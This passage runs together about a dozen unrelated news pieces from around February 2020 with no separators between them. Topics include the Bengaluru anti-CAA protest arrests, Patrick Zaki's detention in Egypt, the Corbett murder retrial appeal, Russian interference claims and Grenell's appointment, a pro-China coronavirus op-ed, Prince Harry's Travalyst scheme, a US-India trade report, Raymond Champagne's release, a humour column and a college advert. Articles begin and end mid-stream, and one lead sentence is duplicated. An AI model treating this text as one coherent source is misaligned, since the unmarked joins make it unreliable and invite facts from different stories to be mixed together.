and caused pain to Indians. Since Thursdays incident, videos have emerged online purportedly showing a group of people questioning Wazi about his daughters conduct and making him chant Bharat Mata Ki Jai slogans. In a Facebook post dated February 16, purportedly by Amulya, she can be heard saying zindabad to the names of several neighbouring countries; doing so does not make her belong to them, she says. State home minister Basavaraj Bommai said all angles, including the womans Facebook posts, would be looked into to find out if any organisation was behind her. Lets look into what comes out of the investigation and accordingly action will be taken... he said, criticising the Opposition for supporting such elements and asking them to act responsibly. On Thursday, Janata Dal (Secular) leader Imran Pasha had alleged that the controversy had been planned by some rival group to disrupt the protest against the CAA, which seeks to fast-track grant of Indian citizenship to non-Muslim minorities from the Muslim-majority countries of Afghanistan, Bangladesh and Pakistan. Leona, he said, was not in the list of speakers at the event and demanded that the police investigate the matter seriously. Bengaluru police commissioner Bhaskar Rao said on Friday: Making a statement somewhere is different, but calling someone for a stage event and for them to make divisive comments, is it right? Action would be taken against the organisers, he said. Bengaluru Police on Friday also registered suo moto (on their own) case against a woman identified as Arudra for holding the Kashmir Mukti, Dalit Mukti, Muslim Mukti placard at a counter protest, deputy commissioner of police Chetan Singh Rathore said. She was holding the placard at the site of a counter protest organised by the Hindu Jagaran Vedike against Leona. CAIRO When an Egyptian student was arrested at the Cairo Airport recently, it was hardly an unusual event. Egypts security services routinely detain human rights defenders, lawyers, academics and other government critics, most of whom vanish into prison for years. Many complain of torture. But the plight of this detainee, Patrick Zaki, 27, who works for a prominent Egyptian rights group, has received unusual international scrutiny thanks to an important difference: He was coming from Italy. The University of Bologna, where Mr. Zaki was studying, took up his case, which became front-page news. Student demonstrations erupted in several cities, and Italian officials issued demands. The Italian mobilization was driven in large part by parallels with the case of Giulio Regeni, an Italian student who vanished in Cairo in January 2016 only to be found dead 10 days later, with signs of extensive torture. Italians have been haunted by the fate of Mr. Regeni, 28, a doctoral candidate at the University of Cambridge. A public clamor for the truth about his death, which was widely blamed on Egyptian security agents, has become a national preoccupation. It has been heightened by frustration with Egyptian officials, whom Italian prosecutors accuse of covering up the killing. The killers of Irishman Jason Corbett are expected to remain in prison for the foreseeable future after North Carolinas attorney general indicated he would be challenging the shock court ruling granting them a retrial. Mr Corbetts father-in-law and wife, Tom and Molly Martens, could have been released from prison as early as St Patricks Day had attorney general Joshua Stein not intervened. The Limerick man was beaten to death with a paving block and a baseball bat at his home in Wallburg, North Carolina in August 2015. He was 39. Former FBI agent Tom Martens and his daughter Molly were both convicted of second degree murder following a trial in 2017 and sentenced to 20 to 25 years in jail. But to the shock and devastation of the Corbett family, North Carolinas Court of Appeal ruled earlier this month by a majority of two to one that there should be a retrial due to errors by the trial judge. Mr Steins intervention today means the matter will instead go to the states Supreme Court, where he will argue against any such retrial being granted. Expand Close Molly and Thomas Martens / Facebook Twitter Email Whatsapp Molly and Thomas Martens In a petition filed with the North Carolina Supreme Court, Mr Stein said he was seeking a temporary stay on the enforcement of the retrial order and would be filing a notice of appeal, based on the views of the dissenting judge, within 15 days. He will now seek to convince the Supreme Court that two of the three appeal court justices came to the wrong conclusion. One of the appeal judges, Valerie Zachary, found there was compounding evidentiary and instructional errors before and during the three-week trial. As a result, she said the two defendants were prevented from presenting a meaningful defence or from receiving the full benefit of their claims of self-defence and defence of a family member. This meant the jury was denied critical evidence and left incapable of performing its constitutional function, she concluded. Judge Zachary said there was a reasonable possibility the jury might have reached a different verdict if hearsay statements from Mr Corbetts children had not been excluded and expert testimony on untested stains on Tom Martens boxer shorts and Molly Martens pyjama pants had not been improperly admitted. Her ruling was supported by a second judge, John Tyson. But a third judge, Allegra Collins, dissented with parts of the decision. Judge Collins found the defendants received a fair trial, free from prejudicial error. She said Tom Martens had argued there were numerous errors made during the trial. But in the judges view there was only one instance of a potential error and this did not affect the outcome. This non-prejudicial error did not deprive Tom of his due process right to a fair trial, Judge Collins found. Molly Martens was Mr Corbetts second wife. His first wife Mags, the mother of his children, died tragically after an asthma attack in 2006. Mr Corbetts children are now being raised by his sister Tracey Corbett Lynch in Limerick. In a statement to Independent.ie after the attorney generals intervention, she said: We fully respect the judicial system in North Carolina and want to thank the people in the US and Ireland for their consistent words of comfort, support and messages over the past weeks, which have been difficult. It really means so much to our family and we are so very grateful. Russia has today dismissed claims it is meddling in the 2020 presidential race, after U.S. lawmakers were told that Moscow was trying to help Donald Trump win a second term. Kremlin spokesman Dmitry Peskov made the predictable denial at a press conference today where he labeled the claims 'paranoid announcements'. 'Unfortunately, there will be more and more of [them] as we get closer to the elections,' he said in Moscow. 'Of course, they have nothing to do with the truth.' U.S. intelligence officials told lawmakers last Thursday that Vladimir Putin's regime was resuming its efforts to interfere in American politics. The House Intelligence Committee was told at a closed-door briefing that Russian operatives were trying to influence the 2020 race in Trump's favor and sow discord in the U.S. electorate, as spy chiefs believe they did in 2016. Republicans on the committee defended Trump while the president reacted angrily after discovering that chairman Adam Schiff, with whom he clashed during the impeachment process, had received the briefing. Trump berated his then-Director of National Intelligence Joseph Maguire in the wake of the briefing, before firing him this week. Russia has today denied it is interfering in the 2020 presidential race to help Donald Trump (pictured at a rally in Phoenix on Wednesday) to win a second term U.S. intelligence chiefs believe operatives working for Russian president Vladimir Putin (pictured today in Moscow) are seeking to influence the 2020 race U.S. intelligence chiefs believe that Russia interfered in the 2016 race by running social media campaigns and stealing and distributing emails from Democratic accounts. Special counsel Robert Mueller concluded in his report last year that Russian interference was 'sweeping and systematic'. However, Trump has long been skeptical of the claims, seeing them as a way to undermine his victory against Hillary Clinton. In 2018 he said at a Helsinki summit that he believed Vladimir Putin's denials of meddling, although he later backtracked after an angry backlash. The briefing on February 13 by top election security official Shelby Pierson shows that the intelligence community believes Russia is resuming those efforts in 2020. Lawmakers were told that Russia was trying to cast doubt on the integrity of the vote to boost Trump's re-election, a person familiar with the matter said. Republican committee members at the briefing pushed back by arguing that Trump has been tough on Russia, an official familiar with the meeting said. One member told the New York Times that Republicans had gone 'nuts' over Pierson's conclusion. A senior administration official said the briefing had also infuriated Trump, who complained that Democrats would use the information against him. House speaker Nancy Pelosi quickly seized on the claims to say that 'American voters should decide American elections - not Vladimir Putin'. 'All Members of Congress should condemn the President's reported efforts to dismiss threats to the integrity of our democracy and to politicize our intel community,' she said. According to the New York Times, Trump was also angry that the House briefing was made before his adversary Schiff. Key figures: Rick Grenell (pictured left), Donald Trump's ambassador to Germany, was named Wednesday as the new acting director of national intelligence, succeeding Joseph Maguire (right) - whose aide told Congress that Russia wanted a second term for the president Schiff was one of the House managers during Trump's impeachment trial, in which he was accused of abusing his power by strong-arming Ukraine into investigating Joe Biden. Trump quickly rebuked Maguire, berating him in the Oval Office over what he perceived as disloyalty. Trump incorrectly believed Pierson gave the information exclusively to Schiff and gave Maguire a 'dressing down' that left him 'despondent,' sources said. Some of Trump's biggest defenders during the House impeachment inquiry including Reps. Devin Nunes and Elise Stefanik also sit on the intelligence panel. Pierson chairs the Election Executive and Leadership Board, which was created in July 2019 to specifically deal with election security matters. The lecture from Trump ruined Maguire's chance of becoming the permanent intelligence chief, sources told The Washington Post. Trump announced this week that Maguire would be replaced by Richard Grenell as director of national intelligence. The Times cited two administration officials as saying the timing after the intelligence briefing was coincidental. Grenell, the U.S. ambassador to Germany, is a Trump loyalist whose appointment will do little to improve Trump's relations with the intelligence community. Trump has publicly voiced his distrust at findings with which he does not agree, telling them in 2019 to 'go back to school'. He has also accused them of underrating the threat from Iran and over-emphasizing that from North Korea during a public briefing to Congress. Both briefed: Devin Nunes, the Republican ranking member of the House Intelligence Committee, and its Democratic chairman Adam Schiff were both told about Russia's interference by the intelligence officials - but Trump incorrectly believed only Schiff was told Mike Quigley, a Democratic member of the Intel Committee, said he feared that Pierson and others would be put in jeopardy over saying Russia favors Trump. 'If you don't agree with the king, you're gone,' Quigley told The Daily Beast. 'That has a chilling effect on people being willing to tell the truth, and that makes us less safe.' Amid Maguire's removal, two senior members of his staff both resigned - the 'principal executive,' Andrew Hallman, and the general counsel, Jason Klitenic. Grenell's appointment was instantly divisive. 'He is probably the most unqualified individual ever appointed to this position,' said Larry Pfeiffer, a former intelligence official who helped establish the Office of the Director of National Intelligence after 9/11. But Grenell has support among the president's backers on Capitol Hill. 'Ric has a proven track record of fighting for our country, and now, he will work every day to make sure Americans are safe,' said House minority leader Kevin McCarthy. Maguire had until March 12 to remain as acting DNI, a role he took when Dan Coats quit as the last permanent leader of the intelligence community. Maguire had previously been director of the National Counterterrorism Center after a career in the Navy as a SEAL and chief of special operations. He and the wider intelligence community were thrust to the center of the news agenda by the whistleblower letter which accused Trump of wrongdoing in his relations with Ukraine. Key issue: Grenell used his twitter feed to issue a warning to the UK after it gave the go-ahead to Huawei building part of its 5G mobile phone network in defiance of U.S. demands to lock it out Grenell is eligible to become acting director because he is already on a Senate-confirmed role as ambassador to Germany, having been voted through 56-42. He was sworn in by Mike Pence with his partner Matt Lashey at his side, becoming the highest-ranking gay official in a Republican administration. Grenell has not worked in the intelligence community before but was also floated as a possible director of national security at the White House, a job which went to Robert O'Brien after the sudden departure of John Bolton. He has already been outspoken on one intelligence issue, saying there is a need to prevent Huawei having access to 5G cell phone networks in the West. He used Twitter to issue a direct warning to the UK this week that it faces losing access to U.S. intelligence - which he will now control - after prime minister Boris Johnson allowed Huawei to be part of building the country's 5G network. Grenell has also led U.S. opposition to Nord Stream 2, a pipeline which was intended to increase the flow of natural gas from Russia to Germany. The U.S. opposes it on strategic grounds, and has used sanctions to try to derail the project. The sudden outbreak of the novel coronavirus pneumonia epidemic has triggered a war for the world to safeguard its shared destiny. The international community is battling to eliminate the virus, and also protecting human civilization. Its been recognized that the epidemic is not only a test for human beings ability in science and health protection, but also one for human civilization whether it is strong enough to shelter everyone in the world at this critical moment. The world must accept unimaginable challenges and step over numerous obstacles to defeat a virus about which human knows little. It calls for unremitted efforts to find cures, but obviously, to refute fallacies and establish rationality amid panic is also urgent. Its alarming that misinformation is being widely spread; conspiracy theories are polluting social media; and discrimination are targeting at Asians. To indulge panic and discrimination amid the epidemic, or to illuminate the light of human civilization for mutual respect, equality, openness and inclusiveness that is a choice concerning the destiny that all humans share. Obviously, the answer is clear. The United Nations (UN) and the World Health Organization (WHO) called for solidarity, rather than stigma; national leaders urged calmness and opposed exclusiveness; people around the world also voiced their support for the Chinese. Such warm practices by the international society are glowing with humanity. What the world is doing today well explains the Chinese saying that delicious soup is made by combining different ingredients, and the secret for close relations lies in mutual support. Its easy to clarify and break down individual rumors, conspiracy theories, and discriminatory remarks and practices surrounding the epidemic. After all, fallacies are vulnerable in front of scientific verification; all conspiracy theories have prominent flaws; and all discriminatory practices are intolerable by human civilization. However, it is not an easy task to eliminate those, and thats why its very important for the world and society to encourage the spirit of science and civilization when global civilizations are facing severe challenges surrounding the epidemic. Governments, international organizations, social institutions and public figures should all play a positive role in this regard. The wise will never be fooled. The key to cut down the spread of false and harmful information is to expand dissemination of scientific and effective information. While responding to the epidemic, the Chinese government has established an authoritative mechanism to releases information at different levels and high frequency, which has effectively stabilized public sentiment and shared epidemic information with the world. It has won worldwide recognition. The WHO said that China released information about the epidemic in a timely manner, quickly identified the coronavirus and shared the genome sequence of the virus with openness and transparency. The country has taken decisive, forceful and effective measures to control the spread of the virus, acting in a highly responsible manner for the lives and health of the Chinese people, and greatly supporting global public health security, the organization added. The responsible practices of China have minimized panic and discrimination, reflecting the spirit of human civilization. Every country and individual must respond to the test of civilization in the epidemic, and the victory belongs to human beings and human civilization. We have a choice. Can we come together to face a common and dangerous enemy? Or will we allow fear, suspicion and irrationality to distract and divide us? The question raised by WHO Director-General Tedros Adhanom Ghebreyesus at the 56th Munich Security Conference is worth pondering. Civilizations shall defeat the unknown and fear with science and rationality, and treat each other in the spirit of mutual respect, equality, openness and inclusiveness, which is the significance of building a community with a shared future for mankind. Sen. Pat Cover Up Toomey says the voters should decide Donald Trumps guilt or innocence. But how can they make an educated decision if the Republicans in Congress wont allow them to see the evidence and hear from the witnesses directly involved in the Ukraine scandal for which Trump was impeached? Toomey also says that even if Trump did what he is accused of, its not impeachable. In other words, despite the extremely bad precedent it sets for all future presidencies, apparently Toomey doesnt see a problem if every president, Democrat or Republican, uses presidential powers to force another country to fabricate dirt on the presidents political opponents, even when it undermines our foreign policy objectives and national security. Apparently Toomey doesnt see a problem if all presidents from now on totally block the power of Congress to investigate the executive branch and effectively nullify congressional oversight. The only thing Trump has learned is that the Republicans in Congress are willing to let him get away with everything, no matter how illegal, unconstitutional or detrimental to the country. Very naively, Toomey thinks hes on the right side of history no matter how much more evidence comes out against Trump. Trumps acquittal makes it very clear that Republicans like Toomey no longer care about the rule of law, the Constitution, democracy, the institution of government or what is best for the United States of America. They threw all of that under the bus just to keep Trump in office. Timothy Gruber Salisbury Township The Duke of Sussex will launch a new holiday scheme with a 'scoring system' to help tourists pick environmentally-friendly flights when he flies back to Britain next week. Prince Harry wants the Travalyst project to 'bring more transparency around carbon emissions for individual flights' and make holidays as eco-friendly as possible. It comes after Harry and his wife Meghan were criticised for using private jets last year, including four trips in just 11 days in August, despite their eco credentials. The Duke and Duchess were also said to have flown into Florida for a JP Morgan conference in Miami on February 6 on the bank's private jet from Vancouver. The Duke of Sussex announces the Travalyst travel scheme in Amsterdam in September 2019 The Duke and Duchess of Sussex at Victoria International Airport in Canada on February 14 Harry, who is currently in Canada with Meghan and their nine-month-old son Archie is expected to visit Edinburgh later this month to help launch the Travalyst scheme. He will host a summit with about 100 people from the tourism and travel industry to test out plans for scoring in accommodation, aviation and travel experiences. The trip will be in addition to six other planned engagements the couple have in Britain over a two-week period as they prepare to step down as senior royals. A source told the Daily Telegraph of the project: 'It's not telling consumers and people what they should and shouldn't be doing. We want to create an industry where people's choices will automatically be better for the planet.' But news of him launching the project was met with a mixed reaction on Twitter today, with one person saying: 'He needs to start with his own flight.' Harry and Meghan's Instagram account made the announcement on Travalyst last September Another added: ''Presume this is just for his own holidays, or is he back to lecturing us who work 50 weeks a year on how we should spend our two weeks off?' And a third tweeted: 'Do you think he'll publish his carbon footprint with all his flights over the last five years? I don't.' Harry and Meghan are closing their Buckingham Palace office, making up to 15 members of staff redundant, but a small team will continue to work on Travalyst. Former press officer James Holt and former assistant private secretary Heather Wong, a long-serving policy advisor to Harry, will both be on the staff. The workers will be employed privately in London to mastermind the Travalyst initiative for Harry and will be operating separately from the Royal Household. When Harry launched Travalyst in Amsterdam last September, he defended his repeated use of private jets, claiming he needs them for his family's safety. He had been accused of hypocrisy for using charter flights six times over the summer while urging the public to cut their carbon footprint. Speaking at the event, he refused to apologise for private flights to Italy, France and Spain, saying: 'I spend 99 per cent of my life travelling the world by commercial. 'Occasionally there needs to be an opportunity [to fly privately] based on a unique circumstance to ensure that my family are safe - it's as simple as that. 'For me it's about balance. It's not a decision I would want to take, but if I have to do that, I will ensure that I balance out the impact that I have.' Despite his comments, analysis at the time of Harry and Meghan's known flights since their wedding in May 2018 showed six of the ten return trips they took were by private jet - 60 per cent of the total. Harry dismissed concerns over his carbon footprint by insisting that he 'offsets' his emissions by donating to renewable energy incentives and planting trees. Sir Elton John said he did this on the prince's behalf when he provided a private plane to fly him and Meghan to his home in the south of France last August. The prince said: 'I've always offset my CO2. What is offsetting CO2? So many people out there hear about it but don't know about it. In my mind, it's the right thing to do. 'We need to make it cool. But it can't just be a ticking-the-box exercise. Somehow we have to connect people to where that little bit of extra money is actually going. 'The moment you have that connection, you feel like you have a bigger purpose in life, you can actually see the difference you are making.' What is the Travalyst initiative and why has it been launched? Travalyst is a global project to encourage the tourism industry to become more sustainable and make eco-choices simpler for travellers. Prince Harry has spent three years working on the initiative which he hopes will improve conservation, environmental protection and help increase the economic benefits of tourism for local communities. The Duke of Sussex and the co-founders of the project - Booking.com, Ctrip, Skyscanner, TripAdvisor and Visa - want to spark a movement of like-minded companies and organisations to make the future of travel more sustainable. The long-term initiative is focused on tackling the travel industry's impact on climate change, improving wildlife conservation, and protecting the environment in top tourist spots around the world. The Duke has said on Instagram that the name is a mixture of the words 'travel' and 'catalyst', adding that it comes from 'viewing our role in sustainable travel as catalysts to accelerate positive changes in travel'. He added: '#Travalyst aims to make travel more sustainable, to help protect destinations and benefit communities long into the future, and to enable consumers to make more environmental friendly choices whilst traveling.' It aims to increase the amount of tourism money that goes to local communities, and find answers to over-tourism. In 2018, the number of international trips taken globally reached 1.4 billion, a number reached two years faster than originally projected by the United Nations' tourism agency, the World Tourism Organization. According to the World Bank, the number of trips taken annually by people around the globe has more than doubled since 2000. Travel and tourism fed $8.8 trillion into the global economy in 2018, according to the World Travel & Tourism Council. In 10 years, the number of tourists visiting countries in emerging markets will reach 1 billion annually, comprising 57 percent of all international trips, the UN agency said. Sunshine Sachs, a US public relations firm, has been assisting the palace press office with the project, liaising with US media and the American-based firms who are part of the scheme. Advertisement Harry added at the time: 'I've learned that we cannot dismiss the idea of trying to do something, just because we can't do everything. We can all do better. And while no one is perfect, we are all responsible for our own individual impact.' One trip last July saw the sixth in line to the throne fly on a private jet to Sicily to deliver a speech at 'Google Camp'. He also took holidays to Ibiza and Nice last August with his wife and son that produced 82 tons of CO2. That is the equivalent of the emissions from 17 cars over a whole year. Sir Elton and other celebrities weighed in to defend the royal couple at the time, saying private jets were their best option in terms of privacy and security. However, the same month saw the Duke and Duchess of Cambridge photographed flying with their children on a budget flight from Norfolk to Scotland. Decisions about the most effective, economical and safe way to travel are taken by a royal visits committee. But figures from accounts published last June show the royal household's carbon emissions due to business travel almost doubled in 2018. An aide said last September that Harry had merely been using a figure of speech when he cited the '99 per cent' figure. Sources also stressed the list of flights analysed 'wasn't exhaustive' and some 'undocumented' private travel would have been taken commercially. Harry's Travalyst project has brought together some of the biggest names in the industry - Booking.com, Ctrip, Skyscanner, TripAdvisor and Visa - and aims to make the future of travel more sustainable. The number of global trips has more than doubled since 2008 and is expected to reach 1.8billion by 2030. During his visit to the UK next month, Harry will be teaming up with Jon Bon Jovi to make a charity record with proceeds going towards the Duke's Invictus Games Foundation. Harry will attend the recording of Unbroken at Abbey Road Studios in north-west London on February 28. He and wife Meghan are expected to attend the Invictus Games in The Hague in May after their post-royal life begins on March 31. Bon Jovi wrote Unbroken to highlight the plight of veterans living with post-traumatic stress disorder. Both his parents served in the US Marine Corps. Harry will watch the choir perform with Bon Jovi. If he could be persuaded to sing, he would be following in the footsteps of his older brother. Harry and wife Meghan faced criticism last August after taking four private jet journeys in 11 days, rather than opting for commercial flights, despite speaking out on environmental issues The Duke of Sussex (left) speaks to a panel at the event in Amsterdam last September including Booking.com chair Gillian Tans, SkyScanner chief Bryan Dove, Ctrip boss Jane Sun, TripAdvisor hotels president Kanika Soni and Suzan Kereere, Visa's chief of merchant sales In 2013 Prince William joined Bon Jovi and Taylor Swift on stage at Kensington Palace to perform a version of Livin' On A Prayer at a charity gala. Earlier this week, the Mail disclosed that Harry and Meghan had been told they must drop their 'Sussex Royal' label. They have spent tens of thousands of pounds on a new website to complement their popular Instagram feed, both of which use the 'Sussex Royal' title. However, the Queen and senior officials are believed to have agreed it is no longer tenable for the couple to keep the word 'royal' in their 'branding'. By David Lawder WASHINGTON (Reuters) - The United States and India are unlikely to reach a limited trade agreement in time for U.S. President Donald Trump's visit to India next week as proposed new Indian tariffs have complicated negotiations, the head of a U.S.-based business group said on Thursday By David Lawder WASHINGTON (Reuters) - The United States and India are unlikely to reach a limited trade agreement in time for U.S. President Donald Trump's visit to India next week as proposed new Indian tariffs have complicated negotiations, the head of a U.S.-based business group said on Thursday. Nisha Biswal, president of the U.S.-India Business Council, told reporters that hopes were fading for the two sides to quickly bridge gaps in their efforts to restore some U.S. trade preferences for India and improve access for selected U.S. agriculture products and medical devices to India's 1.3 billion consumers. "We're still hopeful that some kind of agreement could be reached, but we do recognise and acknowledge that both governments have been indicating that is unlikely at this juncture," Biswal said. USIBC member companies doing business in and with India had been hoping that more than a year of negotiations would lead to a "confidence-building" agreement that could set the stage for a more comprehensive trade agreement in the future. Biswal said the group and its parent, the U.S. Chamber of Commerce, were urging Trump to nonetheless use his Feb. 23-24 trip to work with Indian Prime Minister Narendra Modi to "stake out a framework" for how the world's two largest democracies can increase their trade and investment opportunities, including steps toward liberalizing India's insurance sector "We know that American companies see India as a priority market for exports, but also see India as a priority destination for investment and locating sourcing and manufacturing. We would like to see steps that can facilitate that," she said. In Las Vegas on Thursday, Trump gave mixed messages about prospects for a trade deal with Modi. "We're going to India and we may make a tremendous deal there. Maybe we'll slow it down, we'll do it after the election," Trump said at an event on criminal justice reform. "So we'll see what happens, but we're only making deals if they are good deals because we are putting America first." In New Delhi, an Indian Foreign Ministry spokesman said India will not "rush into" a trade deal with the United States, saying there needed to be a balanced outcome. (Editing by Cynthia Osterman) This story has not been edited by Firstpost staff and is generated by auto-feed. On a wooden bench in the back of a Boston courtroom on Wednesday sat Raymond Champagne, a free man who, just a day prior, was an inmate at the Souza-Baranowski Correctional Center in Lancaster, serving a life sentence for a crime he claimed he did not commit. Champagne was released from Norfolk Superior Court on Tuesday after serving more than four decades in prison over accusations he stabbed a fellow inmate to death in the 1970s at his previously assigned prison, MCI-Cedar Junction in Walpole, according to a statement from his attorney, Lisa Kavanaugh. Kavanaugh filed a motion for another trial for her client in October 2019, citing newly discovered evidence that cast doubt on the justice of Champagnes conviction. On Tuesday, Judge Thomas Connors allowed the motion, and Champagne was released from prison, according to the attorney. For 41 years, Raymond Champagne has steadfastly maintained that he had no role whatsoever in the stabbing death of Stephen Curvin, Kavanaugh stated in court documents. Every new piece of evidence that has come to light since his trial supports this position and shows that justice was not done. The attorney, who testified before a Suffolk Superior Court judge in Boston on Wednesday, is the director of the Innocence Program at the Committee for Public Counsel Services, a group that aims to exonerate wrongfully convicted felons. She served as a witness in the hearing on a civil lawsuit put forward by three Souza-Baranowski inmates who have claimed they had their legal materials taken away and access to their attorneys restricted following a multi-week lockdown of the prison in early January. The lockdown came as a result of an inmate-led attack on four correction officers on Jan. 10. Sixteen high-profile prisoners were indicted Thursday for the assault, but the inmates who are suing prison officials have alleged they were not involved in the attack on the guards. Several prisoners have also accused a tactical team at Souza-Baranowski of assaulting them in retaliation for the earlier attack. Kavanaugh claimed at the hearing to be one of several lawyers whose communications with their clients were impacted by the lockdown. Not immediately naming Champagne as her client, Kavanaugh said she had been talking with the inmate once week before the attack on the guards. She was not able to talk with her client over the phone until late January, as the inmate telephone system was shut off. The lawyer also claimed that prison officials did not notify her about the suspended communications and that it took her a week to receive an email her client had sent her. His experience was consistent with all the other incarcerated men who testified, she said at the hearing. Prior to getting into the specifics of her allegations, Kavanaugh was asked to name her client, at which point, she pointed to Champagne, who then waved. He was not the only recently released former inmate in the courtroom. Darrell Jones, who had previously been incarcerated for 32 years, was also in attendance. The wrongfully convicted man, who is now in his 50s, was sentenced to life in prison in 1986 at the age of 18 for the fatal shooting of Guillermo Rodrigues, according to The National Registry of Exonerations. Jones was granted a new trial in 2017 and exonerated on June 11, 2019. After just two hours of deliberation, a Plymouth County jury found him not guilty, the Innocence Program said in a statement. The same program is now assisting Champagne with his case, as the state takes roughly 60 days to evaluate whether to retry him. On Nov. 15, 1978, Curvin, a prisoner at Cedar Junction, formerly known as MCI-Walpole, was stabbed to death on the first-floor housing block in the maximum-security section of the state prison, according to Kavanaughs retrial motion. The state indicted four inmates, including Champagne, Ronald Hogan, James Gallo and Michael Flaherty. Flaherty negotiated a plea deal to manslaughter and was eventually released, while the others were convicted of first-degree murder, the motion said. The commonwealths trial evidence was extraordinarily thin, Kavanaugh wrote in the motion. The prosecution was particularly unfair to Champagne. Unlike his three co-defendants, Champagne had no grudge or motive to harm the decedent. Prosecutors case against Champagne depended entirely on the testimony of two inmates, Ronald Roberts and James Bernardini, according to Kavanaugh. Their credibility was hotly contested, though, she said, as the stabbing took place inside Robertss cell. The prisoner was also caught mopping up the blood, she claimed. Roberts denied involvement and alleged he overheard Hogan, Gallo and Flaherty planning to attack Curvin. The inmate said that after the stabbing, the three men gathered inside Champagnes cell, which was next to his, according to the motion. Pants were also found in Champagnes cell with blood on them of the same type as Cavins, the motion said. However, Kavanaugh claimed, citing recently released evidence, that Roberts was accused in 1980 of sexually assaulting another inmate and then telling that prisoner that if he spoke to anyone about the alleged assault, the same thing would happen to him as what happened to a man he framed in Walpole for a crime he committed. The prosecutor withheld exculpatory evidence that less than one year after trial Ronald Roberts was accused of assaulting a fellow inmate at Norfolk and then telling the alleged victim that he killed a man at Walpole and framed someone else by giving him a pair of bloody pants, Kavanaugh wrote. The attorney also raised concerns about the credibility of Bernardini, the other witness. Just a few months before he testified in Champagnes trial, he had been released on parole, arrested again, escaped from custody and later recaptured by authorities, she claimed. The direct appeal raised serious concerns about the integrity of the prosecution: presenting false evidence to secure an indictment, withholding exculpatory evidence, and misstating the evidence to the jury to conceal key weaknesses in the case, the motion said. Kavanaugh also claimed in her motion that Champagnes conviction was the result of repeated acts of prosecutorial misconduct and that he was not represented by qualified appointed counsel. Pamela Alford, assistant Norfolk district attorney, wrote in a letter to the court that it is not in the interests of justice to oppose to retrial motion. I am overjoyed for my client," Kavanaugh said in a statement. "I also deeply appreciate the willingness of the Norfolk District Attorneys Office to disclose exculpatory evidence and reexamine the case in light of that evidence. Champagne, in a statement, added, I am deeply grateful for my attorneys help on my case. ______________ Got a news tip or want to contact MassLive about this story? Email newstips@masslive.com or message us on Facebook orTwitter. You can also call our news tips line at 413-776-1364. Related Content: Like many Americans allergic to adulting, I often zone out on Facebook when I should be doing something more useful like scooping the litter box or lecturing my children about the dangers of social media. Inevitably, I come across one of those surveys posted by Facebook users who are probably planning to hack into my account and steal my pet selfies. I recently saw a survey that asks you to identify various rock concerts youve attended, and since my teen years were in the 1980s, attending rock concerts was a rite of passage that ranked right up there with cursing at your Rubiks Cube and sporting your first fuzzstache. So hold on to your hacky sack, and lets do this. . First concert In August 1985, a friends parents dropped off two of my fellow 15-year-old nerdlings and me at the legendary and slightly dilapidated Hirsch Memorial Coliseum in Shreveport, Lousiana, for the World Infestation tour of the hair metal band Ratt with Bon Jovi, ironically, as the opening act. As we sat at the back of the venues top row seating with our mouths agape, we could actually feel our undeveloped mullets standing on end as we were initiated into the world of live power chords, drum solos, and overly excited girls with impressively permed, crimped, and teased hairdos as far as the eye could ogle. . Last concert Since my wife and I are now the parents of three teen daughters who would rather fold laundry while watching Wolf Blitzer discuss geopolitics on CNN than hang out with us, weve caught a few concerts on our own over the past couple of years. Our most recent event was the Billy Joel concert at Globe Life Park in Arlington, Texas. The show was fantastic, and it was great to remain comfortably seated with hundreds of other boring, middle-aged couples singing along to hits from our teen years while waiting for an opportune moment to take a bathroom break. . Best concert I witnessed the epitome of 1980s British metal and poor spelling when Def Leppard performed in Shreveport for the Hysteria tour in 1987. Not only was I amazed by the laser show and Leppard drummer Rick Allens inspiring one-armed performance, but standing near the stage in my sleeveless Union Jack shirt, I was surrounded by hundreds of squealing teenage girls who didnt seem to mind that I was there or that I probably forgot to wear deodorant. . Worst concert Nothing against the R&B legend, but I only went to see Keith Sweat in 1988 because the girl I was dating at the time liked Keith Sweat. Ive got about as much rhythm and blues as Mr. Rogers on his least-funky days in the neighborhood. . Most surprising concert Im not sure what I was expecting, but the 1988 Rush concert in Shreveport was a true revelation despite the relatively small number of women in attendance. From Neil Pearts phenomenal percussion work that demonstrated what a truly inadequate drummer I was, to the Toronto bands cerebral lyrics, the show left me feeling exhilarated, more respectful of Canada and slightly smarter. . Loudest concert The concert that probably contributed most to the fact that I often cant hear my daughters asking for money was the 1988 Texxas Jam Monsters of Rock festival at The Cotton Bowl in Dallas. The lineup featured such eardrum-slaying legends as Van Halen, Scorpions, Metallica, Dokken, and Kingdom Come. Van Halens Sammy Hagar actually lost his voice at the concert and I lost my ability to tell the difference between the smoke alarm and the microwave beeping when my chicken taquitos are ready. Its nice that my wife and I can still occasionally get away to see elderly 1980s icons taking advantage of the fact that their fans are now old enough to carry a line of credit. But these days, I mostly get my head banger fix from the praise band at church. And if Im feeling particularly nostalgic, Ill rock out to Def Leppard on my iPhone while I scoop the litter box and take a few pet selfies. Jase Graves is an award-winning humor columnist from Texas. His columns have been featured in Texas Escapes magazine, The Shreveport Times, The Longview News Journal and The Kilgore News Herald. The principal and chief executive of North West Regional College (NWRC) has issued an invitation to local people to a week of Open Days at the Colleges five campuses with the message: At NWRC, we do things differently. Leo Murphy says the education landscape has changed dramatically over recent times with new and exciting career paths opening up for young people. Mr Murphy, who oversees campuses in Derry, Springtown, Strabane, and Limavady (Main Street and Greystone), says he and his staff are committed to ensuring that learners are encouraged to stay local and study Further and Higher Education courses which are available on their doorstep. He said: The North West needs retain its young people. The future of the local economy depends on young people having the opportunity to study locally. At NWRC weve focused our efforts on growing and developing the skills base in the local region and in doing so the potential for all of our young people and adults. Many of our courses are tailored directly to meet the skills shortage, and delivered in consultation with industry. Its important that we harness our home grown talent, while guiding our people into careers that not only suit their own particular skills and gifts, but jobs that encourage creativity and which champion innovation. These are challenging times in the world of work and industry decisions made by young people at this stage in their lives will shape the direction of their careers in the future. Studying at college can offer a different learning environment to that experienced at a school's sixth form. Mr Murphy explained that all of the full time Level 3 courses at NWRC (the equivalent of three A-Levels) are specifically designed to lead students directly into related careers or Higher Education (HND and above), which can be studied at NWRC and universities in the local area. He continued: Vocational education is vital because it equips students with practical experience and technical skills in a specific field. Learning not only takes places in our college lecture theatres and classrooms, but while acquiring knowledge and skills in their chosen area, students also get to use these skills in the real world through work placements and live project based learning activities. Vocational courses are not, and will never be, confined to the classroom. The type of Education that our young people are looking for is changing, and weve changed with those needs. Recently weve celebrated as so many of our Level 3 students have gone on to careers in software development, construction, mid- wifery, paramedic science, en- gineering, art and design, hos- pitality management, professional musicianship, professional acting, journalism, business management, sport, early years and many more. Many of them have since returned to the college indicating how important it was to for them to take that first step on the career ladder but choosing to study their Level 3 qualification at NWRC Open Days 